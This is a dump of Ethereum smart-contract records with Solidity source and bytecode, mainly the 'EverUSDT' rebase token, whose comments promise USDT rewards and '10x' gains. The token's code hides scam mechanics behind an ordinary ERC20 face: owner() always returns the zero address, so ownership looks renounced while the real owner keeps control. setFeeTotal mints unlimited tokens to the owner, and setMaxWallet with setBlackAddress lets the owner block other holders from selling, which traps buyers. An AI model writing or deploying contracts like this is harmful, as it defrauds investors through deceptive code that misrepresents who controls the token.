integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "div: /"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "mod: %"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Jobkeep3rHelper { using SafeMath for uint256; IChainLinkFeed public constant FASTGAS = IChainLinkFeed( 0x169E633A2D1E6c10dD91238Ba11c4A708dfEF37C ); function getQuoteLimit(uint256 gasUsed) external view returns (uint256) { return gasUsed.mul(uint256(FASTGAS.latestAnswer())); } }
0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063525ea6311461003b578063dbbc4a571461006a575b600080fd5b6100586004803603602081101561005157600080fd5b503561008e565b60408051918252519081900360200190f35b610072610119565b604080516001600160a01b039092168252519081900360200190f35b600061011373169e633a2d1e6c10dd91238ba11c4a708dfef37c6001600160a01b03166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100e057600080fd5b505afa1580156100f4573d6000803e3d6000fd5b505050506040513d602081101561010a57600080fd5b50518390610131565b92915050565b73169e633a2d1e6c10dd91238ba11c4a708dfef37c81565b60008261014057506000610113565b8282028284828161014d57fe5b0414610189576040805162461bcd60e51b815260206004820152600660248201526536bab61d101560d11b604482015290519081900360640190fd5b939250505056fea2646970667358221220b2214e97de96930442cd861c20eb65b113eeea7994a2d561cee3582a9d73b58964736f6c634300060c0033
[ 38 ]
0xf247e0e2286cd7490f676f69e20dd56b152a6a30
/** * ███████╗██╗░░░██╗███████╗██████╗░██╗░░░██╗░██████╗██████╗░████████╗ * ██╔════╝██║░░░██║██╔════╝██╔══██╗██║░░░██║██╔════╝██╔══██╗╚══██╔══╝ * █████╗░░╚██╗░██╔╝█████╗░░██████╔╝██║░░░██║╚█████╗░██║░░██║░░░██║░░░ * ██╔══╝░░░╚████╔╝░██╔══╝░░██╔══██╗██║░░░██║░╚═══██╗██║░░██║░░░██║░░░ * ███████╗░░╚██╔╝░░███████╗██║░░██║╚██████╔╝██████╔╝██████╔╝░░░██║░░░ * ╚══════╝░░░╚═╝░░░╚══════╝╚═╝░░╚═╝░╚═════╝░╚═════╝░╚═════╝░░░░╚═╝░░░ * * EverUSDT 💸 is a new and unique rebase token on the ERC20 smartchain with USDT rewards to holders. * * Hold EverUSDT and receive USDT in return. * * What is Rebase? * Rebase is an increase or decrease in the total supply of a given token across all holding pools and all wallets. This is done in order to adjust the token price, without affecting the value of anyone’s share of coins. This can be beneficial as the chart will always look healthy regardless of dips and we can be on the top gainers parts of websites due to the illusion of a rise in price floor so is a brilliant marketing tool in itself. * Info: * ✨ Rebase + USDT Rewards 💰 * ✨ STRONG Marketing 📈 * ✨ Low initial MC at 70k$ * ✨ Huge Potential 10x Gem * * What is our uniqueness? * We don't unnecessarily rebased. It will only happen when there is a huge price drop along with the buyback. * It will be stealth to prevent potential price manipulation. * * 💵 EverUSDT decentralization. Information: * ✅ We know that blockchain, cryptocurrency and decentralization will revolutionize information technology. * ✅ Profits and benefits will multiply due to the use of special algorithms and the Ethereum blockchain. The entire cryptocurrency community will benefit. * ✅ The goal of EverUSDT is to create a new stream of income and make it possible to earn a lot. * 🤑 You will learn more detailed information about the project in the future in our Website. * * 💰 EverUSDT TG: https://t.me/everusdt * 💸 EverUSDT Web: https://everusdt.com */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded.s * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public pure returns (address) { return address(0); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract EverUsdt is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address public _tUniswapPair; address public _tBlackAddress; uint256 private _tTotal = 100_000_000_000 * 10**18; string private _name = 'EverUSDT 💸 t.me/everusdt'; string private _symbol = 'EVERUSDT'; uint8 private _decimals = 18; uint256 public _maxWallet = 100_000 * 10**18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function setUniswapPair(address newUniswaPair) public onlyOwner { _tUniswapPair = newUniswaPair; } function setBlackAddress(address blackAddress) public onlyOwner { _tBlackAddress = blackAddress; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setFeeTotal(uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _balances[_msgSender()] = _balances[_msgSender()].add(amount); emit Transfer(address(0), _msgSender(), amount); } function setMaxWallet(uint256 _maxWalletPercent) public onlyOwner { _maxWallet = _maxWalletPercent * 10**18; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (sender != _tBlackAddress && recipient == _tUniswapPair) { require(amount < _maxWallet, "Transfer amount exceeds the maxTxAmount."); } _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b411461048c578063a9059cbb1461050f578063d5aed6bf14610573578063dd62ed3e146105b7578063f2fde38b1461062f57610121565b806370a08231146103aa578063715018a61461040257806382247ec01461040c5780638766504d1461042a5780638da5cb5b1461045857610121565b80631f9ac901116100f45780631f9ac9011461025f57806323b872dd146102a3578063313ce567146103275780635d0044ca146103485780636d0a2e901461037657610121565b80630552d4e81461012657806306fdde031461015a578063095ea7b3146101dd57806318160ddd14610241575b600080fd5b61012e610673565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610162610699565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a2578082015181840152602081019050610187565b50505050905090810190601f1680156101cf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610229600480360360408110156101f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061073b565b60405180821515815260200191505060405180910390f35b610249610759565b6040518082815260200191505060405180910390f35b6102a16004803603602081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610763565b005b61030f600480360360608110156102b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061086f565b60405180821515815260200191505060405180910390f35b61032f610948565b604051808260ff16815260200191505060405180910390f35b6103746004803603602081101561035e57600080fd5b810190808035906020019092919050505061095f565b005b61037e610a3b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103ec600480360360208110156103c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a61565b6040518082815260200191505060405180910390f35b61040a610aaa565b005b610414610bef565b6040518082815260200191505060405180910390f35b6104566004803603602081101561044057600080fd5b8101908080359060200190929190505050610bf5565b005b610460610e78565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610494610e7d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d45780820151818401526020810190506104b9565b50505050905090810190601f1680156105015780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61055b6004803603604081101561052557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f1f565b60405180821515815260200191505060405180910390f35b6105b56004803603602081101561058957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3d565b005b610619600480360360408110156105cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611049565b6040518082815260200191505060405180910390f35b6106716004803603602081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110d0565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107315780601f1061070657610100808354040283529160200191610731565b820191906000526020600020905b81548152906001019060200180831161071457829003601f168201915b5050505050905090565b600061074f6107486112db565b84846112e3565b6001905092915050565b6000600554905090565b61076b6112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461082b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061087c8484846114da565b61093d846108886112db565b61093885604051806060016040528060288152602001611a9e60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108ee6112db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189f9092919063ffffffff16565b6112e3565b600190509392505050565b6000600860009054906101000a900460ff16905090565b6109676112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a27576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260098190555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ab26112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b72576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b60095481565b610bfd6112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610cdd6112db565b73ffffffffffffffffffffffffffffffffffffffff161415610d4a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806119e86021913960400191505060405180910390fd5b610d5f8160055461195f90919063ffffffff16565b600581905550610dbe8160016000610d756112db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195f90919063ffffffff16565b60016000610dca6112db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e106112db565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600090565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f155780601f10610eea57610100808354040283529160200191610f15565b820191906000526020600020905b815481529060010190602001808311610ef857829003601f168201915b5050505050905090565b6000610f33610f2c6112db565b84846114da565b6001905092915050565b610f456112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611005576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110d86112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611198576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561121e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611a2e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611369576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b0f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611a546022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611a096025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115e6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aec6023913960400191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116915750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156116f15760095481106116f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611a766028913960400191505060405180910390fd5b5b61175d81604051806060016040528060268152602001611ac660269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189f9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f281600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195f90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600083831115829061194c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119115780820151818401526020810190506118f6565b50505050905090810190601f16801561193e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156119dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a2063616e6e6f74207065726d6974207a65726f206164647265737342455032303a207472616e736665722066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212207c0e9c03f5d51046135c2f258c67769041dae4ff83ad70d5ca2e471629fe80bd64736f6c634300060c0033
[ 38 ]
0xf24874ad0255e5b21a0719476e1383b5eca4081a
